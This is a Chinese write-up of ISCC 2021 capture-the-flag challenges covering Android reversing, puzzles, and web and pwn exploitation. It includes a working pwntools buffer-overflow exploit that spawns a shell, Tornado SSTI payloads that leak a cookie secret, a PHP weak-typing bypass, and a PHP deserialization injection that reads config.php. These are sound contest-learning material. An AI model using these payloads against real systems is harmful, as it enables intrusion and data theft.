ISCC2021 5/1 — 5/5   2021
我是个菜鸡,师傅轻点打
本文记录 擂台 MOBILE 
WEB 
练武 MISC 
PWN 
REVERSE  
WEB 
ISCC客服冲冲冲(一)   +50
 
这是啥    +50
 
Web01    +100
 
登录   +300
 
 
MOBILE 
擂台 Mobile Normal 一个中规中矩的Mobile题,你能把它搞定嘛? 
jadx反编译得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package  com.example.mobilenormal;import  android.os.Bundle;import  android.util.Base64;import  android.view.View;import  android.widget.EditText;import  android.widget.Toast;import  androidx.appcompat.app.AppCompatActivity;public  class  MainActivity  extends  AppCompatActivity   {         @Override       public  void  onCreate (Bundle savedInstanceState)   {         super .onCreate(savedInstanceState);         setContentView(R.layout.activity_main);     }     private  String getFlag ()   {         String part1 = new  String(Base64.decode(new  String("ZXZlcllvbmVfbDFrZVM=" ).getBytes(), 0 ));         String s = (new  String(BuildConfig.FLAVOR) + "ISCC{" ) + part1;         return  ((s + MyJni.getPart3()) + ((String) getResources().getText(R.string.smile))) + "}" ;     }     public  void  onClick (View view)   {         if  (((EditText) findViewById(R.id.editText)).getText().toString().equals(getFlag())) {             Toast.makeText(this , "right" , 0 ).show();         } else  {             Toast.makeText(this , "wrong" , 0 ).show();         }     } } 
 
分析part1得everYone_l1keS,s为ISCC{everYone_l1keS 看了关于BuildConfig.FLAVOR的介绍地址 
在BuildConfig找到part2为
1 public static final String FLAVOR = ""; 
 
即BuildConfig.FLAVOR为空
继续找part3
分析MyJni.getPart3()),找到System.loadLibrary(“MyJni”);果断ida64反编译lib/x86_64下libMyJni.so 找到Java_com_example_mobilenormal_MyJni_getPart3(__int64 a1)看不懂/(ㄒoㄒ)/~~
算了推倒重来 在android studio新建一个mobilenormal工程 添加MyJni.java
1 2 3 4 5 6 7 8 9 package  com.example.mobilenormal;public  class  MyJni   {    public  static  native  String getPart3 ()  ;     static  {         System.loadLibrary("MyJni" );     } } 
 
,在build.gradle的android里添加    
1 2 3 4 sourceSets {         main {             jniLibs.srcDirs = ['libs']         }  
 
再将lib复制到项目libs文件夹,改主java程序加上 String str = MyJni.getPart3(); Log.i(“调用”, str); 得到_ANdr01d
分析((String) getResources().getText(C0272R.string.smile))) + “}”; 看了一下getResources()函数,参考文章地址  C0272R.string.smile去com.example.mobilenormal.CR0272R找id得 public static final int smile = 2131427371; 看了一篇 讨论说getResources().getText()找的是string.xml,于是使用文件搜索 找到了src\main\res\values\strings.xml 打开发现有下面字符,很有可能是^ -  ^
1 <string  name ="smile" > ^_^</string > 
 
现在已经是ISCC{everYone_l1keS_ANdr01d^_^}了 安装他给的app,验证一波,提示对了
tornado Tornado 是什么呢? 题目入口:http://39.96.91.106:7060  
访问时出现 点击第一个链接
1 2 http://39.96.91.106:7060/file?filename=/flag.txt&filehash=38c08fe238ff919895a95980aa92c53e /flag.txt 
 
出现
1 flag in /fllllllllllllaaaaaag 
 
提示访问/fllllllllllllaaaaaag来获取flag
点击第二个链接
1 2 http://39.96.91.106:7060/file?filename=/welcome.txt&filehash=b0d60f47a7f9fe476226b0fa6b80700e /welcome.txt 
 
出现
 
点击第三个链接
1 2 http://39.96.91.106:7060/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15 /hints.txt 
 
出现
1 md5(cookie_secret+md5(filename)) 
 
观察一下,随便尝试一下,访问
1 http://39.96.91.106:7060/file?filename=/fllllllllllllaaaaaag 
 
提示Error,网址跳到了
1 http://39.96.91.106:7060/error?msg=Error 
 
访问
1 http://39.96.91.106:7060/error?msg=a 
 
提示a
尝试ssti注入 访问msg=2,提示500: Internal Server Error
1 http://39.96.91.106:7060/error?msg={{1+1}} 
 
访问msg=1 ,提示ORZ
1 http://39.96.91.106:7060/error?msg={{1*1}} 
 
前面提示md5(cookie_secret+md5(filename)),结合前面得访问测试了解到要读文件需要cookie_secret 百度tornado cookie_secret,找到参数 可以访问
1 http://39.96.91.106:7060/error?msg={{handler.settings}} 
 
得
1 {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'ef57c331-744f-4528-b434-9746317d4f6a'} 
 
需要的cookie_secret就是
1 ef57c331-744f-4528-b434-9746317d4f6a 
 
访问/fllllllllllllaaaaaag 先求参数
1 2 3 <?php echo md5('ef57c331-744f-4528-b434-9746317d4f6a'.md5('/fllllllllllllaaaaaag')); ?> 
 
得1ad9b8e09fbe539bc5a6f2c8bc0ab5db
/file?filename=/fllllllllllllaaaaaag&filehash=1ad9b8e09fbe539bc5a6f2c8bc0ab5db 得到 ISCC{1531sSTi448_iScC_2021}
练武 Retrieve the passcode Scatter说他能解开这个古怪的密码,你呢?来试试吧! Flag格式:ISCC{XXX},XXX为小写字符串,不包括空格 
给了一个压缩包
computer.rar是加密压缩包
scatter.txt是一堆数据
初步尝试 搜素scatter
估计它是坐标点,能画个图出来,编写一个python3程序试试
plt.scatter绘图 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import  matplotlib.pyplot as  pltfile = open ('scatter.txt' , 'r' , encoding = 'utf-8' ) str_read = str (file.readlines()) str_read = str_read.replace(';' , "\n" ) file.close() with  open ("2.txt" , "w" , encoding = 'utf-8' ) as  f:  f.write(str_read) file = open ('2.txt' , 'r' , encoding = 'utf-8' ) for  line in  file.readlines():  lines = str (line)   xx = lines[0 :lines.index(":" )]   yy = lines[lines.index(":" )+1 :lines.rindex(":" )]      plt.scatter(xx, yy) file.close() plt.show() 
 
运行结果
怪怪的,调整一下看看
还是怪怪的,把程序修改一下
1 2 3 4 5 6 for  line in  file.readlines():  lines = str (line)   xx = lines[0 :lines.index(":" )]   yy = lines[lines.index(":" )+1 :lines.rindex(":" )]      plt.scatter(yy, xx) 
 
旋转一下
得到
 
尝试对压缩包解压 
下面有几行奇怪的东西
1 / -.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ...\ 
 
1 / -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. . \ 
 
估计是摩尔斯电码
写python3解密摩尔斯 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Keys = 'abcdefghijklmnopqrstuvwxyz0123456789'  Values = ['.-' ,'-...' ,'-.-.' ,'-..' ,'.' ,'..-.' ,'--.' ,'....' ,           '..' ,'.---' ,'-.-' ,'.-..' ,'--' ,'-.' ,'---' ,'.--.' ,           '--.-' ,'.-.' ,'...' ,'-' , '..-' ,'...-' ,'.--' ,'-..-' ,           '-.--' ,'--..' ,'-----' ,'.----' ,'..---' ,'...--' ,           '....-' ,'.....' ,'-....' ,'--...' ,'---..' ,'----.' ]            input_mos = "-.-. --- -. --. .-. .- - ..- .-.. .- - .. --- -. - .... . ..-. .-.. .- --. .. ... -.-. .... .- .-.. .-.. . -. --. . .. ... -.-. -.-. - .-- --- --.. . .-. --- - .-- --- --- -. ."  dict_mos = input_mos.split(" " ) dec_mos = ""  for  i in  dict_mos:  for  ii,val in  enumerate (Values):    if  i == val:      dec_mos += str (Keys[ii])      break        print("Dec result: " , dec_mos) 
 
结果
flag
海市蜃楼-1 或许你看到的只是海市蜃楼… 
给了个压缩包
初步尝试 解压docx 
看到PK
尝试改成.zip 
一个一个xml文档看
找到了
flag
 
我的折扣是多少 小c同学去参加音乐会,在官网买票时发现了有提示消息,提供给的有“give_me_discount”的压缩包,好奇的小c下载下来,但却无从下手,为了节省零花钱,你能帮帮他吗? 
给了一个压缩包
me.zip是加密的,先跑了再说
初步尝试 运行give.exe。 
解码一下
即
 
看向me.zip 用010Editor看看
看起来像Base家族的
Base64解码一下 
我们现在有了
1 2 pass1{krw} pass2{gcc666} 
 
看看discount.mp3 还挺好听的
由于是mp3,尝试用MP3Stego
跑不出来
尝试把krwgcc666解压压缩包(这时ziphello还没跑出来)
解压成功
还是Base解码
 
再次尝试MP3Stego
得txt
还是Base
尝试Base32
flag
 
M78 欢迎来到M78星云的光之国,开始你的奇妙冒险吧! 题目入口:http://39.96.88.40:7010  Flag格式:flag{XXX} 
初步尝试 下载的文件M78
对其执行checksec
*32位程序
*NX保护也就是栈不可执行
逆向分析 ida打开
先看主函数部分 
调用了explorer函数
 看过了explore函数和后面的check函数,感觉找不到可以溢出的地方
找后门函数 先把后门函数找到
1 2 3 4 int  call_main ()  {  return  system("/bin/sh" ); } 
 
记录下地址0x08049202
尝试直接运行 不允许的情况 
允许的情况 
程序要求strlen得出为7才能允许,为啥输入6个a就能成?个人认为因为回车存在”\n”符,程序把换行符”\n”算进去了
反而输入7个a是不能成的
写了个c程序验证,果然如此
开干 找溢出目标 可以看到调用了check函数
存在溢出的是strcpy那里,只需要让dest溢出即可 ,这个dest是下图中的第一句c程序char dest;
为啥?由于字符串复制(strcpy函数)s指针指向的字符数组的大小可以超过dest变量存储的最大值(ebp-18h那里)(也就是0x18),存在溢出
满足字符长度为7的条件 char存储128的值会因为溢出而变成-128,也就是存储257后实际值就是1,下面有进行条件测试
条件测试1 char经过测试范围为-128至127,下面是测试过程写了一个c程序进行观察 
保存为1.c
1 2 3 4 5 6 7 8 9 10 11 12 #include  <stdio.h>  #include  <stdlib.h>  #include  <string.h>  int  main ()   {  char  buf; #保持和题目程序一致   char  buf1[200 ];   scanf ("%s" , buf1); #数组不需要取地址&   buf = strlen (buf1);   printf ("%d\n" , buf);   return  0 ; } 
 
gcc编译 
使用-m32参数保证编译32位程序
 
使用pwntools测试 
1 2 3 4 5 6 from pwn import * #p = remote("39.96.88.40","7010") p = process('./1.o') payload = (128)*'a' p.sendline(payload) p.interactive() 
 
结果 
更多结果 
条件测试1总结 也就是输入256+i,存储的就是i(i为整数)
怼题目程序 那么对于这道题目,我给它输入262个字符就行,262即256+6,剩下一个字符为“\n”,符合长度7
为啥?本文开头那里“尝试直接运行”部分有说明
构造payload 由于我使用python3,所以需要decode(“iso-8859-1”),python2.7无需此操作
1 0x18  * 'a'  + 4  * 'a'  + p32(0x08049202 ).decode("iso-8859-1" ) + (262 -0x18 -4 -4 ) * 'a' 
 
对于使用ljust()方法自动填充的,类似代码如下,是无法使用 的,原因的话请接着往下面看
1 2 payload = 0x18  * 'a'  + p32(0x08049202 ).decode("iso-8859-1" ) payload = payload.ljust(262 , 'a' ) 
 
读入的最大大小为0x199u,也就是十进制409,262个字符输入是可行的
payload解释 0x18 * ‘a’ 中的0x18前面说过是dest存储的最大值,超过这个值造成dest变量溢出
汇编显示有leave指令,即mov esp,ebp和 pop ebp
pop ebp也就是说pop时候,出栈用esp寄存器接收数据
4 * ‘a’ 是用于覆盖ebp寄存器的出栈数据(32位程序为4字节,64位程序就要为8字节了),使其出栈
详解ebp和esp寄存器 
那么p32(0x08049202).decode(“iso-8859-1”)实际上是p32(0x08049202),是字节码,溢出时使ret指令跳到这个地址,使其执行位于0x08049202的函数
ret指令的作用 
(262-0x18-4-4) * ‘a’是为了保证最后发送的为262个字符,-0x18就不多说了,前面已经有0x18个字符‘a’故减去,一个-4是因为前面的4 * ‘a’ 占去四个字符
而再次-4是因为p32(0x08049202)为4个字符的大小,下图使用python的函数len()计算出p32()为四个字符的长度
前面已经说明使用262的原因
完整exp exploit如下
1 2 3 4 5 6 7 8 9 10 from  pwn import  *p = remote("39.96.88.40" ,"7010" ) payload = 'a'  * 0x18  + 4  * 'a'  + p32(0x08049202 ).decode("iso-8859-1" ) + (262 -0x18 -8 ) * 'a'  p.sendlineafter("Your choice?" ,'1' )  p.sendlineafter("Please choose a building" ,"test" ) p.sendlineafter("Please input the password" , payload) p.interactive() 
 
最后的操作 1 2 3 4 5 6 7 8 $ ls M78 bin dev flag.txt lib lib32 lib64 
 
1 2 $ cat flag.txt flag{N@x_addr_*EnaBleD%} 
 
得flag
1 flag{N@x_addr_*EnaBleD%} 
 
Garden 花园里藏了一个小宝贝,你能找到他吗? 
初步尝试 附件是个.pyc文件
是python2.7程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import  platform, sys, marshal, typesdef  check (s ):    f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'       if  len (s) != len (f):         return  False      checksum = 0      for  a, b in  zip (f, s):         checksum += ord (b) ^ ord (a) ^ 123      return  checksum == 0  if  sys.version_info.major != 2  or  sys.version_info.minor != 7 :    sys.exit('\xe8\xaf\x95\xe8\xaf\x95 Python 2.7.' )  if  len (sys.argv) != 2 :    sys.exit('usage: bronze.pyc <flag>' ) flag = sys.argv[1 ] if  len (flag) >= 32 :    print  '太长了'      sys.exit(1 ) alphabet = set ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+' ) for  ch in  flag:    if  ch not  in  alphabet:         print  '\xe4\xb8\x8d\xe5\xaf\xb9.'           sys.exit(1 ) if  check(flag):    print  '\xe5\xb0\xb1\xe6\x98\xaf\xe8\xbf\x99\xe4\xb8\xaa!'       sys.exit(0 ) else :    print  '\xe6\x90\x9e\xe9\x94\x99\xe4\xba\x86.'       sys.exit(1 ) 
 
进一步分析 程序分析 首先要注意是python2.7程序,要有python2.7运行环境 
check函数用来判断输入是否正确
使用异或操作
1 2 3 4 5 6 7 8 9 def  check (s ):    f = '2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06'       if  len (s) != len (f):         return  False      checksum = 0      for  a, b in  zip (f, s):         checksum += ord (b) ^ ord (a) ^ 123      return  checksum == 0  
 
提示程序使用方法
1 2 if  len (sys.argv) != 2 :    sys.exit('usage: bronze.pyc <flag>' ) 
 
给定了字符
1 alphabet = set ('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+' ) 
 
修改check函数 改成可控制的比对字符
1 2 3 4 5 6 7 8 9 def check(s, tar_get):     f = tar_get     if len(s) != len(f):         return False     checksum = 0     for a, b in zip(f, s):         checksum += ord(b) ^ ord(a) ^ 123     return checksum == 0 
 
一个一个字符对其进行匹配即可
1 2 3 4 5 6 7 8 strset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}!@#$%+'  flag = ''  for  a in  "2(88\x006\x1a\x10\x10\x1aIKIJ+\x1a\x10\x10\x1a\x06" :  for  i in  strset:       if  check(i, a):         flag += i         break  print  flag
 
非常简单就出flag了
 
ISCC客服冲冲冲(一) 又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己??? 请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020  
研究发现调用函数,参数为this,那就js获取按钮的object,循环刷
添加
1 <script > for  (i=0 ;i<30000 ;i++) voting(document .getElementById("left_button" ));</script > 
 
开局30000票,随便你刷
倒计时完得
flag
 
这是啥 这是什么东西呢? 题目入口:http://39.96.91.106:7030  
隐藏的jsfuck
浏览器F12运行
得到iscc{what_is*_jsJS&} 提交,不对,改成ISCC{what_is*_jsJS&}遂正确
Web01 正则匹配最后的倔强。 题目入口:http://39.96.91.106:7040  
常规尝试
最后在
1 http://39.96.91.106:7040/code/code.txt 
 
给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php <p>code.txt</p> if  (isset  ($_GET ['password' ])) {      	if  (preg_match ("/^[a-zA-Z0-9]+$/" , $_GET ['password' ]) === FALSE ) 	{ 		echo  '<p>You password must be alphanumeric</p>' ; 	     } 	  else  if  (strlen($_GET ['password' ]) < 8  && $_GET ['password' ] > 9999999 ) 	{          		if  (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) 		{ 			die ('Flag: '  . $flag ); 		} 		else  		{ 			echo ('<p>*-* have not been found</p>' ); 		} 	} 	else  	{ 		echo  '<p>Invalid password</p>' ; 	} } ?> 
 
看了一下”/^[a-zA-Z0-9]+$/“发现必须存在大小写26个英文0-9 我的测试代码:
1 2 3 4 5 <?php $str  = "10e9*-*" ;var_dump(preg_match("/^[a-zA-Z0-9]+$/" ,$str ) === FALSE ); var_dump($str >9999999 ); ?> 
 
这正则过滤了个寂寞。。。 因为比较没有使用===,所以可以利用php弱类型 GET参数为
 
得flag 
 
登录 登录来上传自己的信息吧! 题目入口:http://39.96.91.106:7010  
初步尝试 没有源码不好搞,尝试了如
admin admin
admin 123456
等账号密码无法登录,尝试简单mysql注入也不行
后来尝试root 123456居然能登录。。。不过并没有什么卵用
进一步尝试 还得看看源码才行,尝试下载www.zip,结果还真有这么个文件 
里面自然是源码
尝试登录 前面说root 123456能登录,看了源码之后发现实际上它提供用户注册,所以就算没有账号也没有关系,去注册一个就好了
注册的地方在register.php
登录进去后会显示一些信息(下图为改过信息之后的)
像下图这样啥也做不了
进一步分析 粗看源码进行总结 update.php   更新个人信息,有电话、邮箱、nickname
config.php   写的mysql服务器的配置,甚至可能保存了flag
class.php   各种信息的处理存储读取,连接mysql数据库
index.php   提示登录
register.php   注册用
profile.php   展示信息
上传自己的信息 不过题目提示登录来上传自己的信息,也就是说信息是可以改的
通过查看源码,发现update.php
不登陆不能访问(因为已经登陆了所以得用另外一个浏览器才能未登录)
尝试上传 
填写信息
改完之后变成了这样
通过阅读源码,可以得知上传的文件按文件名求md5再当作新文件名保存在upload/里面
展示图片时直接对读取图片内容再对图片base64转码,也就是想通过上传来上传一句话木马不可行 
因为最终上传到服务器上的文件没有后缀名
验证一下,通过md5为文件名下载刚刚上传的图片
添加后缀名
就是刚才上传的图片
阅读config.php 这个文件定义了一个flag变量,由此可以猜测
最终的flag应该是在这个文件里面,要想办法读取服务器上保存的的config.php 
1 2 3 4 5 6 7 <?php 	$config ['hostname' ] = '127.0.0.1' ; 	$config ['username' ] = 'root' ; 	$config ['password' ] = '' ; 	$config ['database' ] = '' ; 	$flag  = '' ; ?> 
 
阅读class.php 乍一看好像没有什么可以操作的地方
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 <?php require ('config.php' );class  user  extends  mysql  {	private  $table  = 'users' ; 	public  function  is_exists ($username  )  { 		$username  = parent ::filter($username ); 		$where  = "username = '$username '" ; 		return  parent ::select($this ->table, $where ); 	} 	public  function  register ($username , $password  )  { 		$username  = parent ::filter($username ); 		$password  = parent ::filter($password ); 		$key_list  = Array ('username' , 'password' ); 		$value_list  = Array ($username , md5($password )); 		return  parent ::insert($this ->table, $key_list , $value_list ); 	} 	public  function  login ($username , $password  )  { 		$username  = parent ::filter($username ); 		$password  = parent ::filter($password ); 		$where  = "username = '$username '" ; 		$object  = parent ::select($this ->table, $where ); 		if  ($object  && $object ->password === md5($password )) { 			return  true ; 		} else  { 			return  false ; 		} 	} 	public  function  show_profile ($username  )  { 		$username  = parent ::filter($username ); 		$where  = "username = '$username '" ; 		$object  = parent ::select($this ->table, $where ); 		return  $object ->profile; 	} 	public  function  update_profile ($username , $new_profile  )  { 		$username  = parent ::filter($username ); 		$new_profile  = parent ::filter($new_profile ); 		$where  = "username = '$username '" ; 		return  parent ::update($this ->table, 'profile' , $new_profile , $where ); 	} 	public  function  __tostring ( )  { 		return  __class__ ; 	} } class  mysql   {	private  $link  = null ; 	public  function  connect ($config  )  { 		$this ->link = mysql_connect( 			$config ['hostname' ], 			$config ['username' ],  			$config ['password' ] 		); 		mysql_select_db($config ['database' ]); 		mysql_query("SET sql_mode='strict_all_tables'" ); 		return  $this ->link; 	} 	public  function  select ($table , $where , $ret  = '*'  )  { 		$sql  = "SELECT $ret  FROM $table  WHERE $where " ; 		$result  = mysql_query($sql , $this ->link); 		return  mysql_fetch_object($result ); 	} 	public  function  insert ($table , $key_list , $value_list  )  { 		$key  = implode(',' , $key_list ); 		$value  = '\''  . implode('\',\'' , $value_list ) . '\'' ;  		$sql  = "INSERT INTO $table  ($key ) VALUES ($value )" ; 		return  mysql_query($sql ); 	} 	public  function  update ($table , $key , $value , $where  )  { 		$sql  = "UPDATE $table  SET $key  = '$value ' WHERE $where " ; 		return  mysql_query($sql ); 	} 	public  function  filter ($string  )  { 		$escape  = array ('\'' , '\\\\' ); 		$escape  = '/'  . implode('|' , $escape ) . '/' ; 		$string  = preg_replace($escape , '_' , $string ); 		$safe  = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); 		$safe  = '/'  . implode('|' , $safe ) . '/i' ; 		return  preg_replace($safe , 'hacker' , $string ); 	} 	public  function  __tostring ( )  { 		return  __class__ ; 	} } session_start(); $user  = new  user();$user ->connect($config );
 
不过并不妨碍我们注意到几段代码
filter函数
有filter进行字符串处理,说明有用户可以接触的输入,可以接下去寻找突破点
1 2 3 4 5 6 7 8 9 public  function  filter ($string  )  {		$escape  = array ('\'' , '\\\\' ); 		$escape  = '/'  . implode('|' , $escape ) . '/' ; 		$string  = preg_replace($escape , '_' , $string ); 		$safe  = array ('select' , 'insert' , 'update' , 'delete' , 'where' ); 		$safe  = '/'  . implode('|' , $safe ) . '/i' ; 		return  preg_replace($safe , 'hacker' , $string ); 	} 
 
继续把目光转向profile.php
阅读profile.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php 	require_once ('class.php' ); 	if ($_SESSION ['username' ] == null ) { 		die ('Login First' );	 	} 	$username  = $_SESSION ['username' ]; 	$profile =$user ->show_profile($username ); 	if ($profile   == null ) { 		header('Location: update.php' ); 	} 	else  { 		$profile  = unserialize($profile ); 		$phone  = $profile ['phone' ]; 		$email  = $profile ['email' ]; 		$nickname  = $profile ['nickname' ]; 		$photo  = base64_encode(file_get_contents($profile ['photo' ])); ?> <!DOCTYPE html> <html> <head>    <title>Profile</title>    <link href="static/bootstrap.min.css"  rel="stylesheet" >    <script src="static/jquery.min.js" ></script>    <script src="static/bootstrap.min.js" ></script> </head> <body> 	<div class="container" style="margin-top:100px">   		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> 		<h3>Hi <?php  echo  $nickname ;?> </h3> 		<label>Phone: <?php  echo  $phone ;?> </label> 		<label>Email: <?php  echo  $email ;?> </label> 	</div> </body> </html> <?php 	} ?> 
 
出现了唯一一个会将读取文件的内容展示给用户的地方
1 2 $photo  = base64_encode(file_get_contents($profile ['photo' ]));<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;"> 
 
还可以注意到profile.php中出现了反序列化函数unserialize()
既然需要反序列化,那么之前肯定先进行了序列化
继续看update.php
阅读update.php 可以见到,似乎为了方便传递用户的输入,程序对存储的数组进行了序列化处理
$user->update_profile意思是调用user类 里面的update_profile 函数,这个类 存在于前面的class.php 里面
1 2 3 4 5 6 7 8 9 class  user  extends  mysql  {    public  function  update_profile ($username , $new_profile  )  { 		$username  = parent ::filter($username ); 		$new_profile  = parent ::filter($new_profile ); 		$where  = "username = '$username '" ; 		return  parent ::update($this ->table, 'profile' , $new_profile , $where ); 	} } 
 
上面的程序调用了parent::update(),即mysql()类 里的update() 
1 2 3 4 5 6 class  mysql   {    public  function  update ($table , $key , $value , $where  )  { 		$sql  = "UPDATE $table  SET $key  = '$value ' WHERE $where " ; 		return  mysql_query($sql ); 	} } 
 
结合前面提到的filter函数,可以写出这么个流程
1 2 1、用户输入(update.php)保存为数组->2、对数组进行序列化(update.php)->3、字符过滤(通过class.php)->4、保存到数据库(通过class.php)-> 5、用户访问个人中心(profile.php)->6、从数据库读取(通过class.php)->7、反序列化为数组(profile.php)->8、展示给用户(profile.php) 
 
机会来了–PHP反序列化漏洞 
只要使步骤7反序列化为数组时$profile[‘phone’]存储的文件的地址改成config.php,就能把读取的数据展示出来
要实现,就要在访问update.php时提交恶意数据,完成对保存到数据库前提交的数据进行处理
概念 关于PHP反序列化漏洞 这里简单举个例子说明一下
1 2 3 $profile ['nickname' ] = "123" ;$profile ['photo' ] = 'picture' ;echo  serialize($profile ); 
 
可得结果
1 a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:7:"picture";} 
 
反序列化后可得 
1 2 3 4 5 6 array(2) {   ["nickname"]=>   string(3) "123"   ["photo"]=>   string(7) "picture" } 
 
如果我对它处理(在123处添加**”;s:5:”photo”;s:8:”picture2”;}**)
a:2:{s:8:”nickname”;s:3:”123**”;s:5:”photo”;s:8:”picture2”;}**”;s:5:”photo”;s:7:”picture”;}
反序列化可得 
1 2 3 4 5 6 array(2) {   ["nickname"]=>   string(3) "123"   ["photo"]=>   string(8) "picture2" } 
 
可以看到我控制了$profile[‘photo’]的值 
现实情况下往往不能直接操作存储于服务器上面的序列化后得到的字符串
有时我们仅能输入
$profile[‘nickname’]
和
$profile[‘photo’]
如果还按上面那样操作
1 2 3 4 5 6 $profile ['nickname' ] = '123";s:5:"photo";s:8:"picture2";}' ;$profile ['photo' ] = 'picture' ;$seri  = serialize($profile ) echo  $seri ;echo   "\n\n" ;var_dump(unserialize($seri )); 
 
反序列化后就会变成这样
1 2 3 4 5 6 array(2) {   ["nickname"]=>   string(33) "123";s:5:"photo";s:8:"picture2";}"   ["photo"]=>   string(7) "picture" } 
 
如果你有能力把
1 a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";} 
 
改成
1 a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";} 
 
就能得到
1 2 3 4 5 6 array(2) {   ["nickname"]=>   string(3) "123"   ["photo"]=>   string(8) "picture2" } 
 
或者你有能力把
1 a:2:{s:8:"nickname";s:33:"123";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";} 
 
改成
加上30个a是因为”;s:5:”photo”;s:8:”picture2”;}是
注意:必须操作序列化后的字符串 
1 a:2:{s:8:"nickname";s:33:"123aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";s:5:"photo";s:8:"picture2";}";s:5:"photo";s:7:"picture";} 
 
就能得到
1 2 3 4 5 6 array(2) {   ["nickname"]=>   string(33) "123aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"   ["photo"]=>   string(8) "picture2" } 
 
即把picture改成了picture2,因为PHP把它认作了
1 a:2:{s:8:"nickname";s:3:"123";s:5:"photo";s:8:"picture2";} 
 
成功控制了$profile[‘photo’]的值 
但是非常遗憾,除非服务器上的程序存在“叛徒” ,或者 存在用户能操作序列化后的字符串的程序 或者 你能更改服务器上的程序(那还入侵啥) ,否则没有这个能力
如果满足上面条件,就可以完成你的目标
开干 构造前分析 在后台接收的数据
1 2 3 4 $profile ['phone' ] = $_POST ['phone' ];$profile ['email' ] = $_POST ['email' ];$profile ['nickname' ] = $_POST ['nickname' ];$profile ['photo' ] = 'upload/'  . md5($file ['name' ]);
 
选择**$profile[‘nickname’],因为它的后面就是就是图片保存的地方 $profile[‘photo’]**
也就是要在**$_POST[‘nickname’]传入恶意数据,达到控制 $profile[‘photo’]**值的目的
而控制了$profile[‘photo’]的值后,就可以访问profile.php查看读取的内容
再来仔细看看
1 2 3 $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; 
 
phone email nickname内容可供输入,就从nickname下手
需要改变序列化后的内容,正好update_profile函数里面调用的filter函数就能帮忙
前面提过的filter函数
它能将‘和\替换成_
能将’select’, insert, update, delete, where替换成hacker
目标是要让nickname序列化出来的值增加,那么只要把where换成hacker是可选的,每加一个where就会增加一个字符
那么只要nickname传34个where,后接”;}s:5:”photo”;s:10:”config.php”;}(这个字符串34个字符)
就能实现目标
构造payload 1 wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} 
 
绕过限制 当然要注意绕过一些条件
1 2 if (preg_match('/[^a-zA-Z0-9_]/' , $_POST ['nickname' ]) || strlen($_POST ['nickname' ]) > 10 )			die ('Invalid nickname' ); 
 
使用数组传值即可,nickname为数组并不影响反序列化漏洞出来的photo
成功保存到数据库
访问profile.php 
解码base64
得flag 
Mobile Easy(android1) 这是一道简单的Mobile题,快来做做看吧 
基本尝试 jadx反编译apk 先看MainActivity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 package  com.example.mobileeasy;import  android.app.Activity;import  android.os.Bundle;import  android.view.View;import  android.widget.EditText;import  android.widget.Toast;public  class  MainActivity  extends  Activity   {         public  void  onCreate (Bundle savedInstanceState)   {         super .onCreate(savedInstanceState);         setContentView(C0272R.layout.activity_main);     }     public  void  onClick (View view)   {         if  (getFlag(((EditText) findViewById(C0272R.C0274id.editText)).getText().toString())) {             Toast.makeText(this , "right" , 0 ).show();         } else  {             Toast.makeText(this , "wrong" , 0 ).show();         }     }     private  boolean  getFlag (String input)   {         String s = first.firstStr(input);         if  (s.length() < 15  || !s.substring(0 , 5 ).equals("ISCC{" ) || !s.substring(s.length() - 1 ).equals("}" )) {             return  false ;         }         String s1 = s.substring(5 , 15 );         String s2 = s.substring(15 , s.length() - 1 );         if  (s1.equals(second.secondStr()) && third.thirdStr(s2)) {             return  true ;         }   